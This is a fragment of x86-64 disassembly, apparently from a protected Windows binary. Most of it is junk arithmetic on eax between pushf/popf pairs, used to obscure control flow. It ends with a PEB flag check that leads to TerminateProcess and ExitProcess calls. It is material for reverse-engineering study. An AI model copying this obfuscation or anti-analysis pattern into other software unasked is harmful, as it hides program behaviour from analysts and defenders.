xor eax, 0x97d5619a
rol eax, 5
popf
pushf
not eax
add eax, 0x8a953d4c
xor eax, 0xb9f51bf0
rol eax, 0x94
popf
pushf
not eax
add eax, 0x88615891
xor eax, 0xeb5b65e8
rol eax, 0xe7
popf
pushf
not eax
add eax, 0xa241c5ad
xor eax, 0xc5c47510
rol eax, 0x53
popf
jmp 0x14003b436
push rax
pushf
mov eax, 0x7cd64105
pushf
not eax
add eax, 0x8f11053f
xor eax, 0xfbebc4c6
rol eax, 0x16
popf
pushf
not eax
add eax, 0xe2f52fc2
xor eax, 0xcf95ad0d
rol eax, 0x1a
popf
pushf
not eax
add eax, 0x836003f7
xor eax, 0xb23779a8
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xb508d61a
xor eax, 0xbcf547a5
rol eax, 0xca
popf
jmp 0x14003b436
mov rax, qword gs:[0x60]
mov edx, dword [rax + 0xbc]
shr edx, 8
test dl, 1
jne 0x14003b593
jmp 0x14003b54e
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, ebx
jmp 0x14003b55a
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
push rax
pushf
mov eax, 0x2a260a05
pushf
not eax
add eax, 0xae0c6377
xor eax, 0xa1cbb800
rol eax, 0xf7
popf
pushf
not eax
add eax, 0x9c5e443d
xor eax, 0xe3ce2d4c
rol eax, 0x50
popf
jmp 0x14003b436
mov ecx, ebx
call fcn.14003746d
mov ecx, ebx
jmp 0x14003b59d
call qword [sym.imp.KERNEL32.dll_ExitProcess]